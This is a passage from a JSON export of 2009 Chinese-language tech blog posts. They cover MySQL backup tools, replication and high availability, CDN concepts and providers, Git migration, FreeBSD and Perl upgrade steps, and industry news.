    "body": "mydumper 是取代 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html\">mysqldump</a> 的工具，主要的差異在於 mydumper 會同時對多個 table 備份，效率比 mysqldump 好。\r\n\r\n作者的說明文章在這裡：「<a href=\"http://dammit.lt/2009/02/03/mydumper/\">mydumper</a>」，我也順便做成 ports 了。\r\n\r\n可以用 <code>--help</code> 看用法，另外我提供常用的範例指令：\r\n<blockquote><code>mydumper -h [hostname] -u [username] -p [password] -x '^tracdb\\.'</code></blockquote>\r\n備份檔會放在同一個目錄裡 (export-*)，看過範例以及 <code>--help</code> 的說明後，應該不太需要講解。",
    "title": "mydumper (取代 mysqldump 的工具)"
  },
  {
    "id": "1957",
    "body": "<a href=\"http://www.maatkit.org/\">maatkit</a> 是一組 <a href=\"http://dev.mysql.com/\">MySQL</a> 的工具程式，裡面包括了很多好用的工具。(之前最常用的應該是 mk-table-sync，同步兩台不同機器上的 MySQL 內容)\r\n\r\n在「<a href=\"http://blog.gslin.org/archives/2009/03/04/1956/\">mydumper (取代 mysqldump 的工具)</a>」裡我比較的對象是 mysqldump，但在 <a href=\"http://dammit.lt/2009/02/03/mydumper/\">mydumper</a> 出來之前，maatkit 就有提供同時 dump 的工具，也就是 <a href=\"http://www.maatkit.org/doc/mk-parallel-dump.html\">mk-parallel-dump</a>。\r\n\r\n範例除了在上面的頁面裡就有之外，也可以參考：\r\n<blockquote><code>mk-parallel-dump -h [hostname] -u [username] --gzip --locktables --numthread=8 --databases='[database]' -p [password]</code></blockquote>\r\n這樣會把 dump 的結果抓到 <code>default</code> 這個目錄下。",
    "title": "mk-parallel-dump (也是取代 mysqldump 的工具)"
  },
  {
    "id": "1958",
    "body": "<a href=\"http://www.plurk.com/\">Plurk</a> 前陣子放出 <a href=\"http://opensource.plurk.com/LightCloud/\">LightCloud</a>，試著解決 <a href=\"http://www.amazon.com/\">Amazon</a> 所提出的 <a href=\"http://en.wikipedia.org/wiki/Dynamo_(storage_system)\">Dynamo</a> 用某些複雜方法解決問題。\r\n\r\n比起 Dynamo 的優點是：\r\n<ul>\r\n\t<li>使用 <a href=\"http://tokyocabinet.sourceforge.net/\">Tokyo Cabinet</a> 當底層，這是目前最快的 key-value database 之一，而且檔案也小。</li>\r\n\t<li>因為使用 Tokyo Cabinet，所以可以用他的 master-master replication 取代 Dynamo 內的 replication，也就是固定以 n = 2 解決問題，以 node 本身的 HA 架構解決 Dynamo 裡面的 consistent 問題。(在 Dynamo 裡透過很多方法解決，變成 eventally consistent)</li>\r\n\t<li>增加機器造成資料需要移動的問題是把 hash ring 拆成兩個，一個 lookup ring，另外一個 storage ring，用兩次 query 解決。這個部份我看不懂他的解法，還要再找資料看他怎麼解的。</li>\r\n</ul>\r\n這個架構如果可行 (要看他解決 routing problem 的解法是否可以達到 scalability 特性)，那麼就有很多有趣的應用可以在這個架構上跑。(直接當 filesystem 來放資料)",
    "title": "Plurk 的 LightCloud"
  },
  {
    "id": "1959",
    "body": "前陣子把公司裡所有的 repository 全部換成 <a href=\"http://git-scm.com/\">Git</a> 了...\r\n\r\n由於 Git 與 <a href=\"http://subversion.tigris.org/\">Subversion</a>/<a href=\"http://www.selenic.com/mercurial/\">Mercurial</a> 運作的方法不一樣，換完後也跟著換 Workflow。\r\n\r\n原先 Subversion (1.5+) 對 branch 的 Workflow：\r\n<ul>\r\n\t<li>開 <code>branches</code> 與 <code>trunk</code> 兩個目錄，平常測試時都在 <code>trunk</code> 裡測試，測完後 merge 到 <code>branches</code> 再 deploy 到 production 主機上。</li>\r\n\t<li>缺點是，如果同時要測很多東西，merge 時得自己挑 revision。</li>\r\n</ul>\r\n用 Subversion 用一陣子，受不了他的速度後，有陣子在評估 Mercurial 與 Git。當時一直搞不定 Git 的 hook，所以就選了 Mercurial，所以有些 repository 用 Mercurial 開發了一陣子...\r\n\r\n在 Mercurial 上，local branch 的功能一直沒搞定，所以會轉成 Mercurial 的 repository 都是不需要 local branch 的功能。當時從 Subversion 換 Mercurial 速度快了許多。\r\n\r\n最後全部換成 Git 的主要原因是需要 local branch (anonymous branch)，branch 的 Workflow 變成：\r\n<ul>\r\n\t<li>主程式碼都在 master，所有的新功能 (以項目為單位) 開 branch 發展，最後再 merge 回 master。中央的 server 只放 master branch。</li>\r\n</ul>\r\n速度比 Mercurial 又快了不少，local branch 也成熟，<a href=\"http://git.or.cz/gitwiki/Gitweb\">gitweb</a> 畫面還蠻好看也是主因 (也許會試看看 <a href=\"http://hjemli.net/git/cgit/\">cgit</a>，畫面看起來也不錯)，這次換完後大家都還蠻開心的？\r\n\r\nSubversion 轉換成 Git 的工具是 <a href=\"http://www.kernel.org/pub/software/scm/git/docs/git-svn.html\">git-svn</a>，把 branch 抓下來後去掉 Subversion 的資訊，直接將 master branch 推上 server。\r\n\r\nMercurial 轉 Git 用的是 <a href=\"http://repo.or.cz/w/fast-export.git\">fast-export</a>，轉的速度相當快。轉完後要更改 branch 名稱，再將 master branch 推上 server。",
    "title": "從 Subversion 與 Mercurial 換成 Git"
  },
  {
    "id": "1961",
    "body": "剛剛才發現 <a href=\"http://osdc.tw/\">OSDC.TW</a> 2009 有 50mins 的時間，先把一些資料整理出來，做投影片會比較方便。(大概會做 25mins 的投影片吧)\r\n\r\nCDN (<a href=\"http://en.wikipedia.org/wiki/Content_delivery_network\">Content delivery network</a>) 被稱為「<a href=\"http://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF\">內容傳遞網路</a>」是一種內容快取機制，能提供高效能 (包括使用者以及內容提供者)、高可靠度、低成本的內容傳遞架構。不過，這幾個優點並不一定同時會發生。\r\n\r\n以對使用者高效能這點，通常指的是「就近取得檔案」，內容提供者事先將檔案推到全球的 CDN 節點，在台灣的下載者儘量從台灣取得檔案，在日本或香港的下載者也儘量從當地的伺服器取得檔案。\r\n\r\n由於在全球有多個節點，所以當某個節點不通時，可以導到次近的節點以達到高可靠度。 \r\n\r\n對內容提供者高效能的部份，是因為內容提供者不需要在一個 data center 上建立非常粗的水管。舉例來說，如果傳遞需要 100Gbps 的流量，利用 CDN 架構，每個 data center 也許只需要 5Gbps 的流量。由於十個 10Gbps 網路與 100Gbps 網路的成熟度不同，成本也會不相同。\r\n\r\n這是 CDN 的一些粗略的概念。",
    "title": "CDN - 什麼是 CDN"
  },
  {
    "id": "1962",
    "body": "用 CDN 最常見的兩個理由：\r\n<ul>\r\n\t<li>速度：下載者可以就近取得檔案。這對於小檔案 (css/javascript) 會有很大的幫助。(也許要解釋瀏覽器 HTTP 的運作，並抓一張 <a href=\"http://getfirebug.com/\">Firebug</a> 的畫面分析？)</li>\r\n\t<li>效率：因為下載者透過 CDN 下載，可以減少原始 server 的負荷。</li>\r\n</ul>\r\n另外還有其他的理由：\r\n<ul>\r\n\t<li>成本：這個留到會場講。</li>\r\n\t<li>安全：以分散架構對抗 DDoS 攻擊。</li>\r\n</ul>",
    "title": "CDN - 為什麼要用 CDN"
  },
  {
    "id": "1964",
    "body": "要決定使用者應該要到哪組 server 通常有這些方法：\r\n<ul>\r\n\t<li>GeoDNS</li>\r\n\t<li>Anycast</li>\r\n\t<li>HTTP Redirect (會比較差)</li>\r\n</ul>\r\n這幾種不衝突，常見的是前兩者搭配著用。將 DNS server IP anycast，當下載者要抓某個 domain 時，近的 server 就會知道大致的區域。再配合 GeoDNS 判斷使用者的 IP address 適合到哪個 node。\r\n\r\n不過這些問題對 <a href=\"http://www.hinet.net/\">HiNet</a> 就很麻煩。(留到現場講)\r\n\r\n再來就是 reverse proxy cache 所產生的問題，這個部份再想看看要怎麼寫。",
    "title": "CDN - 技術面"
  },
  {
    "id": "1965",
    "body": "前三大 CDN 服務提供者：\r\n<ul>\r\n\t<li><a href=\"http://www.akamai.com/\">Akamai</a></li>\r\n\t<li><a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a></li>\r\n\t<li><a href=\"http://www.cdnetworks.com/\">CDNetworks</a></li>\r\n</ul>\r\n其中 <a href=\"http://www.pixnet.net/\">PIXNET</a> 用的 <a href=\"http://www.pantherexpress.net/\">Panther Express</a> 前陣子被 CDNetworks 收購。\r\n\r\n另外，很熱門的：\r\n<ul>\r\n\t<li><a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a></li>\r\n</ul>\r\nAmazon CloudFront 有公開的價錢，Akamai 與 Limelight 也有可以參考的價錢：(只是參考用)\r\n<ul>\r\n\t<li><a href=\"http://www.distributioncloud.com/\">Distributed Cloud</a> (Akamai)</li>\r\n\t<li><a href=\"http://www.mosso.com/cloudfiles.jsp\">Mosso Cloud Files</a> (Limelight Networks)</li>\r\n</ul>\r\n其中 Akamai 國內有代理商 (<a href=\"http://www.jforce.com.tw/\">併力科技</a>)。\r\n\r\n另外還有一些可以參考 <a href=\"http://www.wikipedia.org/\">Wikipedia</a> 上的表。",
    "title": "CDN - 服務提供者"
  },
  {
    "id": "1967",
    "body": "要挑什麼 CDN 是依照需求而決定，我會談的是台灣的情況。\r\n\r\n在台灣有「用戶」的 ISP 中，<a href=\"http://www.hinet.net/\">HiNet</a> 與 <a href=\"http://zh.wikipedia.org/wiki/TANet\">TANet</a> 的出國線路狀態是最差的，其他 ISP 的情況會好很多，所以測試的重點要放在這兩個 ISP。\r\n\r\n以影音來說，由於傳輸時間普遍會大於一秒，重點在於 bandwidth 而非 latency。所以到台灣抓與香港、日本，甚至到美國抓其實都 okay，只要 thoughtput 夠高就可以。以 1M 高畫質的影片換算，有穩定 150KB/sec 的速度其實就很順，如果是 600K 或是更低，有穩定的 100KB/sec 以上就 okay。\r\n\r\n如果是 css/javascript，因為檔案很小，latency 就變得很重要。可以從台灣本地提供檔案通常是最好的 (&lt;10ms)，或是從日本、香港 (~20ms 到 30ms) 提供，如果 CDN 業者可以幫忙 gzip 會更好 (因為他們會處理 IE6 的一卡車問題)。\r\n\r\n如果檔案是屬於下載性質，速度其實不是重點，重點在於成本的話，有些 CDN 業者有提供「經濟型網路」，通常是用北美較便宜的點提供下載。有一定的 commit 時會比 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 的 USD$0.17/GB 便宜。\r\n\r\n除此之外，會因為不同的性質，要考慮的還很多...",
    "title": "CDN - 要怎麼挑業者"
  },
  {
    "id": "1968",
    "body": "這實在太令人震驚了，<a href=\"http://ffmpeg.org/\">FFmpeg</a> 居然釋出 0.5 版 XDDDD\r\n\r\n雖然很久沒有 release 新版，但其實 mailing list 上相當活躍，而且更新的速度也都蠻快的。我以為 developer 都已經很習慣叫大家用 <a href=\"http://subversion.tigris.org/\">Subversion</a>/<a href=\"http://git-scm.com/\">Git</a> 拉回來編了... XD\r\n\r\n在 FFmpeg 的首頁上有放一份簡短的 feature list，這邊就不列了。",
    "title": "FFmpeg 0.5！"
  },
  {
    "id": "1969",
    "body": "「<a href=\"http://www.bigdbahead.com/?p=158\">5 Minute DBA – Database Server Hardware Selection</a>」講了一些幫資料庫選擇硬體的方式，其實是偏向 <a href=\"http://dev.mysql.com/\">MySQL</a>...\r\n\r\n簡單的說，CPU 超過 8 CPU 其實意義不大，不需要買 4*4core 或是 4*6core，因為 MySQL 目前無法利用到。\r\n\r\n記憶體愈大愈好，記憶體現在便宜許多，如果有 I/O bound 的問題，除了改寫程式外，直接把記憶體加到 32GB 或是 64GB 通常是最划算的方法。\r\n\r\n硬碟愈快愈好，有 Hardware RAID10 (要有電池) 會比軟體的 RAID10 好，不過這主要看需求，如果是 CPU bound 的應用，說不定 SATA 硬碟就夠用？\r\n\r\n網卡請務必用 GigabitEthernet，最好是 bounding/trunking，除了增加 thoughput 外，也可以當作 redundant link。然後作業系統一定要選 64bits，不然會受限於記憶體可定址空間。",
    "title": "選擇 MySQL 用的硬體"
  },
  {
    "id": "1971",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> 有幾種不同的方法實做 High Availability 架構：\r\n<ul>\r\n\t<li>Master-Slave Replication，當 master 當掉時，將 slave 提昇為 master。</li>\r\n\t<li><a href=\"http://www.drbd.org/\">DRBD</a> + <a href=\"http://www.linux-ha.org/\">Heartbeat</a>，透過網路對 Disk 層 RAID1，平常只有一台會 mount 並跑 mysql，當掉時會跳到另外一台。</li>\r\n\t<li>Master-Master Replication，當其中一台當掉時直接到另外一台使用。</li>\r\n</ul>\r\n這三種方法各有不同的缺點，舉例來說：\r\n<ul>\r\n\t<li>Master-Slave Replication：master 當掉時可能有 transaction 已經寫入，但尚未被送到 slave 而造成不同步。</li>\r\n\t<li>DRBD + Heartbeat：當備援機跳起來時，記憶體內都還沒有 cache，會造成剛跑起來時 MySQL I/O bound，有時候叫做 \"warm up problem\"。</li>\r\n\t<li>Master-Master Replication：query 會有 race condition (同時在 db1 下 <code>DELETE FROM table1;</code>，以及在 db2 下 <code>INSERT INTO table1 SET col1=1;</code>，有可能最後在 db1 上有資料，但在 db2 上沒有資料)，這點可以用把寫入固定到某一台而避免，但由於也是 replication 類的架構，也會遇到 Master-Slave Replication 所敘述的問題。</li>\r\n</ul>\r\n由於資料的正確性會比其他的因素重要，現在我還是偏好用 DRBD + Heartbeat。因 query 的特性而不會有 query dependency 問題的系統才會用 Master-Master。",
    "title": "MySQL HA"
  },
  {
    "id": "1972",
    "body": "上面一篇「<a href=\"http://blog.gslin.org/archives/2009/03/12/1971/\">MySQL HA</a>」其實是要提 <a href=\"http://mysqlha.blogspot.com/\">Mark Callaghan</a> 所寫的「<a href=\"http://mysqlha.blogspot.com/2009/03/global-transaction-ids-are-hot.html\">Global transaction IDs are hot</a>」這篇文章。\r\n\r\n在三種架構下，<a href=\"http://www.drbd.org/\">DRBD</a> + <a href=\"http://www.linux-ha.org/\">Heartbeat</a> 的系統要加掛 slave 是最容易的，因為 master server 雖然跳動，但 replication 位置不會變。\r\n\r\n在 Master-Master 架構下，由於兩台 master 都有自己的 binlog，會使得 master 跳動時 slave 產生問題，也就是在 Mark Callaghan 文章裡所寫的三種解法 \"switch and hope\"、\"check and lose\"、\"check and fix\"。\r\n\r\n這三種解法都並沒有很完滿的解決問題 (第三種解法雖然看起來有 \"fix\"，但是透過工人智慧手動解決)。\r\n\r\n一種方法是引入 Global transactions IDs，這是由 <a href=\"http://www.google.com/\">Google</a> 提出的 patch：「<a href=\"http://code.google.com/p/google-mysql-tools/wiki/GlobalTransactionIds\">MySQL Hierarchical Replication & Global Group IDs</a>」，對 binlog 每筆 transaction 都加上一組 64bits 且遞增的數字，這樣 slave 就不會受到 master 切換而產生 replication err。\r\n\r\n先記錄下來，之後很有可能會透過 <a href=\"http://www.google.com/\">Google</a> 又找到自己寫的文章...\r\n\r\n<strong>Update</strong>：看到「<a href=\"http://www.enterprisenetworkingplanet.com/netos/article.php/3809331\">High Availability for MySQL: Considering the Options</a>」這篇文章，要如何做 HA。",
    "title": "MySQL HA 與 Slave 的關係"
  },
  {
    "id": "1974",
    "body": "<a href=\"http://aws.amazon.com/ec2/\">Amazon EC2</a> 推出「Reserved Instances」費率，以最小的 instance 為例，你先付了 USD$325，他把 USD$0.1/hour 的機器費用降到 USD$0.03/hour (三折)。\r\n\r\n基本上與手機的「月租不可抵」型意思是一樣的，只是他是年約。\r\n\r\n假設以 365 天都租用最小的 instance 計算，本來是 USD$876，現在只要 USD$587.8，大約是 33% 的 discount。原來的計價方式與 Reserved Instances 的交錯點在 193.45 天，換句話說，要超過半年多才會比較划算，對一般人應該是沒有什麼影響。",
    "title": "Amazon EC2 推出「年租不可抵」制度"
  },
  {
    "id": "1978",
    "body": "在「<a href=\"http://www.shiningsilence.com/dbsdlog/2009/03/18/3957.html\">Progress with clang</a>」這篇看到，由於最近有人將 <a href=\"http://www.freebsd.org/\">FreeBSD</a> source 視為一個超大的 test case，依照 FreeBSD compile 出來的結果不斷修正 <a href=\"http://clang.llvm.org/\">clang</a> 的 bug，並且補上缺少的功能，使得由 FreeBSD 衍生出來的 <a href=\"http://www.dragonflybsd.org/\">DragonFly BSD</a> 也受益...\r\n\r\n現在可以用 clang 編 GENERIC kernel 以及 buildworld 了 (只需要一個 patch)。這陣子 clang 的聲勢愈來愈大了...",
    "title": "clang/llvm 也能編 DragonFlyBSD 整個系統了..."
  },
  {
    "id": "1980",
    "body": "依照 <a href=\"http://update.freebsd.org/\">http://update.freebsd.org/</a>，7.1-PRERELEASE 並不在升級範圍內，所以會出現像這樣的訊息：\r\n<blockquote><code>$ sudo freebsd-update fetch\r\nLooking up update.FreeBSD.org mirrors... 2 mirrors found.\r\nFetching public key from update2.FreeBSD.org... failed.\r\nFetching public key from update1.FreeBSD.org... failed.\r\nNo mirrors remaining, giving up.</code></blockquote>\r\n由於 freebsd-update 是 shell script (有很多 undocument variable 可以調整)，依照「<a href=\"http://forums.freebsd.org/showthread.php?t=1280\">\"freebsd-update fetch\", fetching public key failed.</a>」這篇的點子，有個邪惡的方法可以拐 freebsd-update，讓他認為系統是 7.1-BETA：\r\n<blockquote><code>env UNAME_r=7.1-BETA freebsd-update upgrade -r 7.1</code></blockquote>\r\n這個方法可以用看看... 當然，這個方法一定會有一堆問題，如果對 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 不熟的人應該會吃鱉 XDDD",
    "title": "用 freebsd-update 將 FreeBSD 7.1-PRERELEASE 升級到 7.1-RELEASE"
  },
  {
    "id": "1982",
    "body": "因為連上 BBS 還是透過 BIG5 比較方便，所以現在會在同一台機器上掛 BIG5 的 <a href=\"http://www.gnu.org/software/screen/\">screen</a> 與 UTF-8 的 screen。\r\n\r\n首先是修改主機的 <code>/etc/ssh/sshd_config</code>，增加 <code>AcceptEnv LANG</code>，表示 server 會接受 client 所送出的 <code>LANG</code> 環境變數，然後在 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 的設定裡將 LANG 設為 <code>zh_TW.Big5</code> 或是 <code>en_US.UTF-8</code> (或是 <code>zh_TW.UTF-8</code>)：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3399069128/\"><img src=\"http://farm4.static.flickr.com/3608/3399069128_2b398098f3.jpg\" alt=\"\" /></a>\r\n\r\n登入後 <code>LANG</code> 變數就會被帶進系統內。\r\n\r\n然後，<a href=\"http://www.vim.org/\">vim</a> 會判斷 locale 而決定 encoding 及 termencoding，所以本來寫死的部份都要拿掉。\r\n\r\n這樣在 BIG5 環境下可以連上 BBS，用 vim 編輯一些資料...",
    "title": "在同一台機器上同時有 BIG5 與 UTF-8 Terminal"
  },
  {
    "id": "1983",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 前陣子才將 <a href=\"http://dev.perl.org/perl5/news/2007/perl-5.10.0.html\">Perl 5.10</a> 放入 <a href=\"http://www.freebsd.org/ports/\">FreeBSD Ports System</a> 內 (Perl 5.10 在 2007/12/18 發行，到 2009 年三月才進 ports...)\r\n\r\n不管怎麼樣，總是進 ports 了... 得測試看看要怎麼從 5.8.9 升級到 5.10.0。在 <code>/usr/ports/UPDATING</code> 提供了 <a href=\"http://wiki.freebsd.org/portupgrade\">portupgrade</a> 與 <a href=\"http://dougbarton.us/portmaster.html\">portmaster</a> 的升級方式：\r\n<blockquote><pre>20080328:\r\n  AFFECTS: users of lang/perl*\r\n  AUTHOR: skv@FreeBSD.org\r\n\r\n  lang/perl5.10 is out. If you want to switch to it from, for example\r\n  lang/perl5.8, that is:\r\n\r\n  Portupgrade users:\r\n    0) Fix pkgdb.db (for safety):\r\n        pkgdb -Ff\r\n\r\n    1) Reinstall perl with new 5.10:\r\n        portupgrade -o lang/perl5.10 -f perl-5.8.\\*\r\n\r\n    2) Reinstall everything that depends on Perl:\r\n        portupgrade -fr perl\r\n\r\n  Portmaster users:\r\n        portmaster -o lang/perl5.10 lang/perl5.8\r\n        portmaster -r perl\\*</pre></blockquote>\r\n原則上照著 UPDATING 做就可以，不過 portmaster 的部份似乎是錯的 (看起來是軟體 bug)，用 <code>-r</code> 並不會將相依 perl-5.10.0 的 ports 強制更新。\r\n\r\n後來還是先 <code>portmaster -BDuw p5\\*</code>，然後再看還有哪些東西在 <code>/usr/local/lib/perl5/site_perl/5.8.9</code> 下面，手動跑 portmaster 重新安裝。",
    "title": "Perl 5.8 升級至 Perl 5.10"
  },
  {
    "id": "1984",
    "body": "從「<a href=\"http://gigaom.com/2009/04/02/how-t-mobile-customers-use-the-google-phone/\">Some Fun Facts About The Google Phone</a>」這篇看到 <a href=\"http://www.t-mobile.com/\">T-Mobile</a> 的 CEO 在 <a href=\"http://www.ctia.org/\">CTIA</a> 透漏 <a href=\"http://www.t-mobileg1.com/\">Google G1</a> 使用情況。\r\n\r\n由於是 T-Mobile 的 CEO 直接公開的，所以這些數字很寶貴 (不是估計值)：\r\n<ul>\r\n\t<li>80 percent of G1 owners browse the web daily.</li>\r\n\t<li>Four out of five G1 owners download apps at least once a week from the Android. On average, T-Mobile G1 customers have each downloaded more than 40 applications from the Android Market.</li>\r\n\t<li>An average G1 owner consumes 50 times the data of the average voice-centric phone user.</li>\r\n\t<li>Among T-Mobile customers who have purchased the G1, roughly half have traded up from a basic handset.</li>\r\n\t<li>The majority of T-Mobile G1 owners use Facebook and YouTube at least once a week.</li>\r\n\t<li>Half of G1 customers also access Wi-Fi on a daily basis.</li>\r\n</ul>\r\n另外一個隱憂是隱私問題，那又是另外一回事了...",
    "title": "GPhone 使用的情況"
  },
  {
    "id": "1985",
    "body": "相較於國內推動三振條款 (「<a href=\"http://udn.com/NEWS/FINANCE/FIN3/4837386.shtml\">ISP使用者侵權 訂「三振」條款</a>」)，法國已經否決三振條款了：「<a href=\"http://news.slashdot.org/article.pl?sid=09/04/09/1235235\">French Assembly Rejects Three Strikes Bill</a>」。\r\n\r\n細節等有空再來補。",
    "title": "侵權「三振」條款"
  },
  {
    "id": "1986",
    "body": "投影片還沒做完，但這件事情太大條...\r\n\r\n<a href=\"http://thepiratebay.org/\">The Pirate Bay</a> 的四位被告被判有罪：「<a href=\"http://torrentfreak.com/the-pirate-bay-trial-the-verdict-090417/\">The Pirate Bay Trial: The Official Verdict - Guilty</a>」。\r\n\r\n四個人都判刑一年，以及總額約一億兩千萬 (新台幣) 的賠償。這四位會提起上訴，然後自嘲「<a href=\"http://thepiratebay.org/special/2009epicwinanyhow.php\">好萊塢教我們，好人一開始總是處於弱勢</a>」。",
    "title": "The Pirate Bay 四位被告被判有罪"
  },
  {
    "id": "1987",
    "body": "<div style=\"width:425px;text-align:left\" id=\"__ss_1307479\"><a style=\"font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;\" href=\"http://www.slideshare.net/gslin/using-cdn-to-improve-performance?type=powerpoint\" title=\"Using CDN to improve performance\">Using CDN to improve performance</a><object style=\"margin:0px\" width=\"425\" height=\"355\"><param name=\"movie\" value=\"http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=20090418-090417161800-phpapp02&rel=0&stripped_title=using-cdn-to-improve-performance\" /><param name=\"allowFullScreen\" value=\"true\"/><param name=\"allowScriptAccess\" value=\"always\"/><embed src=\"http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=20090418-090417161800-phpapp02&rel=0&stripped_title=using-cdn-to-improve-performance\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"425\" height=\"355\"></embed></object><div style=\"font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;\">View more <a style=\"text-decoration:underline;\" href=\"http://www.slideshare.net/\">presentations</a> from <a style=\"text-decoration:underline;\" href=\"http://www.slideshare.net/gslin\">Gea-suan Lin</a>.</div></div>",
    "title": "OSDC.TW 2009 的投影片"
  },
  {
    "id": "1988",
    "body": "<a href=\"http://dev.mysql.com/\">MySQL</a> 的 replication 一直都是 single thread。即使 slave 有能力同時跑多個 SQL query 也必須是 single thread，這是為了資料的正確性而考量，但產生了一些缺點：\r\n<ul>\r\n\t<li>負荷量大的時候容易產生 replication lag。</li>\r\n\t<li>replication thread 只能用一顆 CPU resource。</li>\r\n</ul>\r\n現在在 MySQL 5.1 上有放出 patch 讓大家測試 multi-thread replication 了：「<a href=\"http://forge.mysql.com/wiki/ReplicationFeatures/ParallelSlave\">Feature Preview: Multi-threaded Slave</a>」，雖然有不少限制，但是總是個開始。\r\n\r\n依照文件，主要的限制包括：\r\n<ul>\r\n\t<li>只支援 transaction storage engine (像是 <a href=\"http://www.innodb.com/\">InnoDB</a>)。</li>\r\n\t<li>只有 row-based events 才有辦法平行化。</li>\r\n\t<li><a href=\"http://en.wikipedia.org/wiki/Isolation_(database_systems)\">isolation level</a> 必須是 SERIALIZABLE。</li>\r\n</ul>\r\n另外，目前主要的限制還包括：(未來有機會移除)\r\n<ul>\r\n\t<li>目前 table 的 primary key 必須是 integer。</li>\r\n\t<li>目前只有 INSERT 與 DELETE 能被平行處理。</li>\r\n\t<li>當 slave 在 commit 時 crash 不能保證全部都會恢復。(喂喂 XD)</li>\r\n</ul>\r\n有興趣的人可以測測效能，看起來還要花一段時間開發。",
    "title": "MySQL multi-thread replication"
  },
  {
    "id": "1989",
    "body": "有公開的：\r\n<ul>\r\n\t<li><a href=\"http://www.akamai.com/\">Akamai</a>：<a href=\"http://ww1.distributioncloud.com/\">Distribution Cloud</a>。</li>\r\n\t<li><a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a>：<a href=\"http://www.mosso.com/\">Mosso</a> 的 <a href=\"http://www.mosso.com/cloudfiles.jsp\">Cloud Files</a>。</li>\r\n\t<li><a href=\"http://www.edgecast.com/\">EdgeCast</a>：<a href=\"http://www.theplanet.com/content-delivery-network/\">ThePlanet CDN</a>。</li>\r\n\t<li><a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a>。</li>\r\n\t<li><a href=\"http://www.internap.com/\">Internap</a>：<a href=\"http://www.softlayer.com/services_cdn.html\">CDNLayer</a>。</li>\r\n\t<li><a href=\"http://www.voxel.net/products-services/voxcast-cdn\">VoxCAST CDN</a>。</li>\r\n\t<li><a href=\"http://www.simplecdn.com/\">SimpleCDN</a>。</li>\r\n</ul>",
    "title": "幾個 CDN Reseller 的價錢"
  },
  {
    "id": "1990",
    "body": "<a href=\"http://dev.mysql.com/doc/refman/5.0/en/replication.html\">MySQL replication</a> 不是同步進行，也就是說，在 master 寫入或刪除了某筆資料後，在 slave 上可能會讀到舊的資訊。解法主要是依照程度而決定要怎麼做。\r\n\r\n如果 replication lag 不太影響整體的觀感，那麼不管這個問題是一個還蠻直接的解法。\r\n\r\n如果在一個 application 裡會需要一致性，那麼都到 master 讀寫也是一個還可以的解法。而一般只讀取的 application 只到 slave 取得資料。\r\n\r\n如果要求很嚴謹，可以考慮用 <a href=\"http://code.google.com/p/google-mysql-tools/wiki/SemiSyncReplication\">SemiSyncReplication</a>，強迫 master 寫入時等到 slave 回應 okay 後才會完成。這種主要是用在寫入不多，但一致性很重要的場合。",
    "title": "MySQL replication lag 的解法"
  },
  {
    "id": "1991",
    "body": "一回到家就看到 breaking news... <a href=\"http://www.oracle.com/\">Oracle</a> 買下 <a href=\"http://www.sun.com/\">Sun Microsystems</a>：<a href=\"http://developers.slashdot.org/article.pl?sid=09/04/20/128246\">Oracle Buys Sun</a>。\r\n\r\n雙方的網站都已經公告了，<a href=\"http://www.sun.com/aboutsun/media/presskits/2009-0420/index.jsp\">Sun 的公告</a>是：\r\n<blockquote>Sun and Oracle today announced a definitive agreement for Oracle to acquire Sun for $9.50 per share in cash. The Sun Board of Directors has unanimously approved the transaction. It is anticipated to close this summer. </blockquote>\r\n而 Oracle 的網站連不太上 XDDD\r\n\r\n<a href=\"http://www.mysqlconf.com/mysql2009\">MySQL Conference &amp; Expo 2009</a> 剛好是 4/20 - 4/23，看起來這三天會很熱鬧...",
    "title": "Oracle 買 Sun"
  },
  {
    "id": "1992",
    "body": "上面的資料還蠻有趣的，可惜沒有 diff log 之類的紀錄？查起來頗麻煩...\r\n\r\n<a href=\"http://www.hinet.net/\">中華電信 HiNet</a>對美國的頻寬從 57G 一口氣拉到 77G，對日本與香港也都有繼續增加...\r\n\r\n<a href=\"http://www.tfn.net.tw/\">台固</a>對日本 (7.1G 降到 2G) 及香港 (5G 降到 4G) 縮減了不少，增加的部份包括美國頻寬 (2.4G 升到 4G) 以及中國頻寬 (1.1G 升到 3.4G)，整體的量看起來下降不少。\r\n\r\n<a href=\"http://www.sparq.com.tw/\">速博</a>與 <a href=\"http://www.seed.net.tw/\">SEEDNet</a> 整合，以遠傳的品牌重新出發，在 TWNIC 的圖上面則是以 ncic (速博) 的名字出現，稍微算了一下，頻寬的部份似乎沒有太大的變動...\r\n\r\n加上最近 HiNet-TFN 的事情，hmmm...",
    "title": "四月 TWNIC 連線頻寬登錄查詢系統"
  },
  {
    "id": "1994",
    "body": "<a href=\"http://www.googlelabs.com/\">Google Labs</a> 新推出的服務：<a href=\"http://newstimeline.googlelabs.com/\">Google News Timeline</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3460951188/\"><img src=\"http://farm4.static.flickr.com/3647/3460951188_4d4d70d864.jpg\" alt=\"\" /></a>\r\n\r\n列出每天的重大新聞，可以左右拉動或是上下捲動...",
    "title": "Google News Timeline"
  },
  {
    "id": "1995",
